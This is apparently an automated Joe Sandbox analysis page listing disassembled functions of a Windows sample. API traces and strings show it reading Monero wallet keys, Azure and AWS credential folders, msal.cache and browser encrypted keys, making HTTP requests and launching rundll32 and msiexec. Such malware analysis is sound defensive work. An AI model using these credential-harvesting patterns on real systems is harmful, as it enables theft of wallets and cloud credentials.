Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,019786B0,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0197CDA0,00000000,?,00E0144C,00000000,?,?), ref: 00DECA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00DECA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00DECA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00DECAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00DECAD9
StrStrA.SHLWAPI(?,0197CDD0,00E00B52), ref: 00DECAF7
StrStrA.SHLWAPI(00000000,0197CD10), ref: 00DECB1E
StrStrA.SHLWAPI(?,0197D050,00000000,?,00E01458,00000000,?,00000000,00000000,?,019789D0,00000000,?,00E01454,00000000,?), ref: 00DECCA2
StrStrA.SHLWAPI(00000000,0197D1F0), ref: 00DECCB9

Part of subcall function 00DEC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00DEC871
Part of subcall function 00DEC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00DEC87C

StrStrA.SHLWAPI(?,0197D1F0,00000000,?,00E0145C,00000000,?,00000000,019789E0), ref: 00DECD5A
StrStrA.SHLWAPI(00000000,019787C0), ref: 00DECD71

Part of subcall function 00DEC820: lstrcat.KERNEL32(?,00E00B46), ref: 00DEC943
Part of subcall function 00DEC820: lstrcat.KERNEL32(?,00E00B47), ref: 00DEC957
Part of subcall function 00DEC820: lstrcat.KERNEL32(?,00E00B4E), ref: 00DEC978

lstrlen.KERNEL32(00000000), ref: 00DECE44
CloseHandle.KERNEL32(00000000), ref: 00DECE9C

Strings

, xrefs: 00DEC9C6

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: d841fb3369bcdc9e7180d58ceb1fae0e6db283f69de37d05bdd473f3e87a87ca
Instruction ID: 820abd9a2c99cc36af665e1157b14b8287853009bdf1b7b3f9e2cedb2a073d36
Opcode Fuzzy Hash: d841fb3369bcdc9e7180d58ceb1fae0e6db283f69de37d05bdd473f3e87a87ca
Instruction Fuzzy Hash: 34E1FAB190010CABDB14EBA8DC91FEEB778EF14340F518169F20A67195EF746A4ACB71

Function 00DF8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

RegOpenKeyExA.ADVAPI32(00000000,0197AA38,00000000,00020019,00000000,00E005B6), ref: 00DF83A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00DF8426
wsprintfA.USER32 ref: 00DF8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00DF847B
RegCloseKey.ADVAPI32(00000000), ref: 00DF848C
RegCloseKey.ADVAPI32(00000000), ref: 00DF8499

Part of subcall function 00DFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DFA7E6

Strings

?, xrefs: 00DF837A
%s\%s, xrefs: 00DF844D
- , xrefs: 00DF85A3

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: cb124e3b98d666f204abdd15ad796c068720da23b2af16610ab868a8127d6637
Instruction ID: 3f089b1bdefd73cc9cad1ba060acf4c3effa55405a80c650d604da3c3ce8108a
Opcode Fuzzy Hash: cb124e3b98d666f204abdd15ad796c068720da23b2af16610ab868a8127d6637
Instruction Fuzzy Hash: 7481E9B191011CAADB24DF54CC95FEAB7B8FF08700F10C299E24AA6180DF756B85CFA5

Function 00DF4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DF8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00DF8E0B

lstrcat.KERNEL32(?,00000000), ref: 00DF4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00DF4DCD

Part of subcall function 00DF4910: wsprintfA.USER32 ref: 00DF492C
Part of subcall function 00DF4910: FindFirstFileA.KERNEL32(?,?), ref: 00DF4943

lstrcat.KERNEL32(?,00000000), ref: 00DF4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00DF4E59

Part of subcall function 00DF4910: StrCmpCA.SHLWAPI(?,00E00FDC), ref: 00DF4971
Part of subcall function 00DF4910: StrCmpCA.SHLWAPI(?,00E00FE0), ref: 00DF4987
Part of subcall function 00DF4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00DF4B7D
Part of subcall function 00DF4910: FindClose.KERNEL32(000000FF), ref: 00DF4B92

lstrcat.KERNEL32(?,00000000), ref: 00DF4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00DF4EE5

Part of subcall function 00DF4910: wsprintfA.USER32 ref: 00DF49B0
Part of subcall function 00DF4910: StrCmpCA.SHLWAPI(?,00E008D2), ref: 00DF49C5
Part of subcall function 00DF4910: wsprintfA.USER32 ref: 00DF49E2
Part of subcall function 00DF4910: PathMatchSpecA.SHLWAPI(?,?), ref: 00DF4A1E
Part of subcall function 00DF4910: lstrcat.KERNEL32(?,0197F168), ref: 00DF4A4A
Part of subcall function 00DF4910: lstrcat.KERNEL32(?,00E00FF8), ref: 00DF4A5C
Part of subcall function 00DF4910: lstrcat.KERNEL32(?,?), ref: 00DF4A70
Part of subcall function 00DF4910: lstrcat.KERNEL32(?,00E00FFC), ref: 00DF4A82
Part of subcall function 00DF4910: lstrcat.KERNEL32(?,?), ref: 00DF4A96
Part of subcall function 00DF4910: CopyFileA.KERNEL32(?,?,00000001), ref: 00DF4AAC
Part of subcall function 00DF4910: DeleteFileA.KERNEL32(?), ref: 00DF4B31

Strings

*.*, xrefs: 00DF4E64
Azure\.IdentityService, xrefs: 00DF4EEB
\.IdentityService\, xrefs: 00DF4ED9
*.*, xrefs: 00DF4DD8
\.aws\, xrefs: 00DF4E4D
Azure\.aws, xrefs: 00DF4E5F
Azure\.azure, xrefs: 00DF4DD3
\.azure\, xrefs: 00DF4DC1
msal.cache, xrefs: 00DF4EF0

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 3faba08c3af28a23587f05be73614eb1874adef883078ddd8a05454207da64f7
Instruction ID: 9fa994384c9c535d649e9dff0970656319d2ee21192f2bdd4ac852fae363afb0
Opcode Fuzzy Hash: 3faba08c3af28a23587f05be73614eb1874adef883078ddd8a05454207da64f7
Instruction Fuzzy Hash: 674134BAA4030867DB64F770DC47FED7238AB64700F408594B689660C5EEF55BC98BB2

Function 00DF9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00DF906C

Strings

image/jpeg, xrefs: 00DF9136

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: b0b3e8d365fa52f9ec40760e34cc584829ac7292f25be43e1c03123d24887c26
Instruction ID: c892d95941ad8e07dc0fd19c187c92a19c8d39e3bb643839c34ab3ca217bf6dd
Opcode Fuzzy Hash: b0b3e8d365fa52f9ec40760e34cc584829ac7292f25be43e1c03123d24887c26
Instruction Fuzzy Hash: 3B71DE75A10208EBDB24EFE4D899FEDB7B8FB48700F108518F655A7284DB79A905CB70

Function 00DF2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

ShellExecuteEx.SHELL32(0000003C), ref: 00DF31C5
ShellExecuteEx.SHELL32(0000003C), ref: 00DF335D
ShellExecuteEx.SHELL32(0000003C), ref: 00DF34EA

Strings

"" , xrefs: 00DF309A
/i ", xrefs: 00DF33E4
C:\Windows\system32\msiexec.exe, xrefs: 00DF34BF
.dll, xrefs: 00DF31E5
/passive, xrefs: 00DF345B
<, xrefs: 00DF3490
C:\Windows\system32\rundll32.exe, xrefs: 00DF3332
.msi, xrefs: 00DF3398

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 069a164d0a6710d345fe8d0d65f23e1afbef7a46868d733c3c41ef91f8691741
Instruction ID: 9d19018d75c661d0e814823977b029c6a49a5106de92851e9ceb07bc7b1f90e3
Opcode Fuzzy Hash: 069a164d0a6710d345fe8d0d65f23e1afbef7a46868d733c3c41ef91f8691741
Instruction Fuzzy Hash: BB120AB180011C9ADB14EBA4CC92FFEB738EF14340F558169E60A66195EF746B4ACF72

Function 00DF52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DFA7E6

Part of subcall function 00DE6280: InternetOpenA.WININET(00E00DFE,00000001,00000000,00000000,00000000), ref: 00DE62E1
Part of subcall function 00DE6280: StrCmpCA.SHLWAPI(?,0197F1D8), ref: 00DE6303
Part of subcall function 00DE6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00DE6335
Part of subcall function 00DE6280: HttpOpenRequestA.WININET(00000000,GET,?,0197E7B8,00000000,00000000,00400100,00000000), ref: 00DE6385
Part of subcall function 00DE6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00DE63BF
Part of subcall function 00DE6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00DE63D1

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00DF5318
lstrlen.KERNEL32(00000000), ref: 00DF532F

Part of subcall function 00DF8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00DF8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00DF5364
lstrlen.KERNEL32(00000000), ref: 00DF5383
lstrlen.KERNEL32(00000000), ref: 00DF53AE

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Strings

ERROR, xrefs: 00DF53B9
ERROR, xrefs: 00DF546F
ERROR, xrefs: 00DF5432
ERROR, xrefs: 00DF54A9
ERROR, xrefs: 00DF530A

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 01cdcae6fd19d1032e98439ef5fe5296c7c72aec7665c78604d391a7f65bd52c
Instruction ID: afa53f67dce48a85b6d2a34c05295f8c277d57ac597e948399c205c45a88f1b6
Opcode Fuzzy Hash: 01cdcae6fd19d1032e98439ef5fe5296c7c72aec7665c78604d391a7f65bd52c
Instruction Fuzzy Hash: 6C513AB091014D9BCB14FF68C992AFD3778EF10340F55C018EA0A6A595EF74AB45CB72

Function 00DF12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: e4bd2a57ddbb077a2f80065831ff444832c0c173a2d7922e1152eec2ab8c53fd
Instruction ID: 3289615a56167fb3fdffcd4f7a1bf4fbde501f193f4a78abf78fcbeaad9f71a6
Opcode Fuzzy Hash: e4bd2a57ddbb077a2f80065831ff444832c0c173a2d7922e1152eec2ab8c53fd
Instruction Fuzzy Hash: 50C172B5A0021DDBCB24EF60DC89FEA7378FF54304F118598E60AA7141DA75AA85CFB1

Function 00DF4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DF8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00DF8E0B

lstrcat.KERNEL32(?,00000000), ref: 00DF42EC
lstrcat.KERNEL32(?,0197ED10), ref: 00DF430B
lstrcat.KERNEL32(?,?), ref: 00DF431F
lstrcat.KERNEL32(?,0197CE00), ref: 00DF4333

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DF8D90: GetFileAttributesA.KERNEL32(00000000,?,00DE1B54,?,?,00E0564C,?,?,00E00E1F), ref: 00DF8D9F

Part of subcall function 00DE9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00DE9D39

Part of subcall function 00DE99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00DE99EC
Part of subcall function 00DE99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00DE9A11
Part of subcall function 00DE99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00DE9A31
Part of subcall function 00DE99C0: ReadFile.KERNEL32(000000FF,?,00000000,00DE148F,00000000), ref: 00DE9A5A
Part of subcall function 00DE99C0: LocalFree.KERNEL32(00DE148F), ref: 00DE9A90
Part of subcall function 00DE99C0: CloseHandle.KERNEL32(000000FF), ref: 00DE9A9A

Part of subcall function 00DF93C0: GlobalAlloc.KERNEL32(00000000,00DF43DD,00DF43DD), ref: 00DF93D3

StrStrA.SHLWAPI(?,0197EE30), ref: 00DF43F3
GlobalFree.KERNEL32(?), ref: 00DF4512

Part of subcall function 00DE9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00DE4EEE,00000000,00000000), ref: 00DE9AEF
Part of subcall function 00DE9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00DE4EEE,00000000,?), ref: 00DE9B01
Part of subcall function 00DE9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00DE4EEE,00000000,00000000), ref: 00DE9B2A
Part of subcall function 00DE9AC0: LocalFree.KERNEL32(?,?,?,?,00DE4EEE,00000000,?), ref: 00DE9B3F

lstrcat.KERNEL32(?,00000000), ref: 00DF44A3
StrCmpCA.SHLWAPI(?,00E008D1), ref: 00DF44C0
lstrcat.KERNEL32(00000000,00000000), ref: 00DF44D2
lstrcat.KERNEL32(00000000,?), ref: 00DF44E5
lstrcat.KERNEL32(00000000,00E00FB8), ref: 00DF44F4

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 01c9d20967b58ceeb6e8c210b7d117e56c40c58383c455b3fdbec6349802b5bd
Instruction ID: 50aa4f8b5c73b6b6150902118279d98c9dfb8f21a72b15bc7551c29acd1d5a73
Opcode Fuzzy Hash: 01c9d20967b58ceeb6e8c210b7d117e56c40c58383c455b3fdbec6349802b5bd
Instruction Fuzzy Hash: A37137B6900208ABCB24FBA4DC95FEE7379AB48300F148598F609A7185DE75DB45CFB1

Function 00DE1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00DE12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00DE12B4
Part of subcall function 00DE12A0: RtlAllocateHeap.NTDLL(00000000), ref: 00DE12BB
Part of subcall function 00DE12A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00DE12D7
Part of subcall function 00DE12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00DE12F5
Part of subcall function 00DE12A0: RegCloseKey.ADVAPI32(?), ref: 00DE12FF

lstrcat.KERNEL32(?,00000000), ref: 00DE134F
lstrlen.KERNEL32(?), ref: 00DE135C
